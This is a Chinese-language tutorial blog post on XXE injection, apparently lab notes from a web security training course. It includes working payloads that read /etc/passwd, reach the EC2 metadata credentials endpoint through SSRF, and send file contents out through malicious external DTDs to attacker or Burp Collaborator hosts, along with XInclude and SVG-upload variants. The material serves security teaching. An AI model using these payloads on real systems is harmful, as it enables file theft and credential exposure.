Posts 简析XXE注入攻击
Post
Cancel

简析XXE注入攻击

XXE注入攻击(XML external entity,XML外部实体)

允许攻击者干扰应用程序对XML数据的处理,通常使攻击者可以查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互

XXE注入攻击如何产生?

XML规范包含各种潜在的危险功能,并且标准解析器支持这些功能,即使应用程序通常不使用它们也是如此。

XXE相关信息

  1. 什么是XML

    XML是可扩展标记语言(extensible markup language),被设计用来存储和传输数据

  2. 什么是XML实体

    XML实体是一种表示XML文档中的数据项的方式,而不是使用数据本身。XML语言规范内置了各种实体,比如<>

  3. 什么是文件类型定义

    XML DTD(document type definition,文件类型定义)包含可以定义XML文档的结构,可以包含的数据值的类型以及其他项目的声明,在文档开头用DOCTYPE定义

  4. 什么是XML自定义实体

    <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

  5. 什么是XML外部实体

    XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外。外部实体的声明使用SYSTEM关键字,并且必须指定一个URL,应从该URL加载实体的值。

    1
    2
    
    <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
    <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]> 
    

XXE攻击类型

1.利用XXE读任意文件

在购物应用中通过XXE传输数据

1
2
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck> 

但没有任何预防XXE攻击措施,因此可以利用XXE漏洞读取任意文件

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe</productId></stockCheck> 

对于实际应用中的XXE漏洞,提交的XML中通常会存在大量数据值,应用程序的响应中可能会使用其中的任何一个。为了系统地测试XXE漏洞,通常将需要通过使用定义的实体并查看其是否出现在响应中来分别测试XML中的每个数据节点。

案例1:利用XXE读任意文件

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck><productId>&xxe;</productId>
<storeId>1</storeId></stockCheck>

2.利用XXE进行[[SSRF攻击]]

案例2:利用XXE进行SSRF攻击

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

实验室服务器在默认URL上运行(模拟的)EC2元数据终结点,响应中包含“Invalid ID:xxx”,后跟来自元数据终结点的响应

3.XXE盲漏洞

如果应用程序容易受到XXE注入的攻击,但在响应中未返回任何已定义外部实体的值,则会出现盲目XXE漏洞

  1. 使用OAST(out-of-band)技术检测blind xxe
  2. 触发XML解析错误,使错误消息包含敏感数据

OAST技术检测Blind XXE

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]> 

此XXE攻击导致服务器向指定的URL发出后端HTTP请求。攻击者可以监视最终的DNS查找和HTTP请求,从而检测到XXE攻击成功

案例3:具备out-of-band交互的Bind XXE
1
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://q4vw12xmi32jmm42zuaqyj4j5ab0zp.burpcollaborator.net">]>

该实验解析XML后返回结果不显示其他信息,即只返回"Invalid product ID",但可以通过触发与外部域的带外交互来检测XXE盲目漏洞

有时,由于应用程序进行了某些输入验证或所用XML解析器的某些强化,使用常规实体的XXE攻击被阻止了。在这种情况下,可能可以改为使用XML参数实体

1
2
<!ENTITY % myparameterentity "my parameter entity value" >
%myparameterentity;

因此使用xml参数实体来测试bind xxe

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

案例4:xml参数实体测试bind xxe

1
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://iqc49sftkgw25zqwsh4igt443v9lxa.burpcollaborator.net"> %xxe;]>

利用blind xxe去窃取数据

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-hacker.com/?x=%file;'>">
%eval;
%exfiltrate;

攻击者必须将恶意DTD托管在他们控制的系统上,通常将其加载到自己的Web服务器上。例如,攻击者可能在以下URL上提供了恶意DTD:

http://web-attacker.com/malicious.dtd

最后攻击者提交XXE payload

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释,然后执行在恶意DTD中定义的步骤,并将/etc/passwd文件传输到攻击者的服务器

案例5:通过外部恶意DTD进行blind XXE来窃取数据

exploit.dtd

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://97ev87wh180x394767mil6l3muskg9.burpcollaborator.net/?x=%file;'>">
%eval;
%exfiltrate;
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://acab1f1a1fa6a28080702fb7010600ac.web-security-academy.net/exploit.dtd"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>

通过错误信息窃取数据

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
案例6:通过错误信息返回窃取的数据

exploit.dtd

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///ddd/%file;'>">
%eval;
%error;
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://acab1f1a1fa6a28080702fb7010600ac.web-security-academy.net/exploit.dtd"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>

通过重利用本地DTD进行blind XXE

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]> 
案例7:重利用本地DTD进行XXE
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]> <stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

4.寻找用于XXE注入的隐藏攻击面

通过XInclude进行XXE注入

一些应用程序接收客户端提交的数据,将其在服务器端嵌入到XML文档中,然后解析该文档,将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务对其进行处理时,就会发生这种情况

这种情况下攻击者不能定义和修改DOCTYPE元素,但可以使用XInclude代替。 XInclude是XML规范的一部分,该规范允许从子文档中构建XML文档

要执行XInclude攻击,您需要引用XInclude命名空间,并提供要包含的文件的路径,例如:

1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

案例8:利用XInclude来检索文件

1
2
3
4
5
productId=
<aa xmlns:xi="http://www.w3.org/2001/XInclude">
	<xi:include parse="text" href="file:///etc/passwd"/>
</aa>
&storeId=1

通过文件上传进行XXE注入

一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。基于XML格式的示例包括DOCX等办公文档格式和SVG等图像格式

由于SVG格式使用XML,因此攻击者可以提交恶意的SVG映像,因此可以隐藏攻击面以发现XXE漏洞

案例9:通过图像文件上传进行XXE注入

xxe.svg

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink">
    <text font-size="16" x="0" y="20">
        &xxe;
    </text>
</svg>
1
2
3
4
5
6
7
8
9
10
11
12
...
Content-Disposition: form-data; name="avatar"; filename="xxe.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink">
    <text font-size="16" x="0" y="20">
        &xxe;
    </text>
</svg>
...

通过修改content-type进行XXE注入攻击

1
2
3
4
5
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
1
2
3
4
5
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> 

如果应用程序允许消息正文中包含XML的请求,并将正文内容解析为XML,则只需重新格式化请求以使用XML格式,就可以到达隐藏的XXE攻击面

Ref.

This post is licensed under CC BY 4.0 by the author.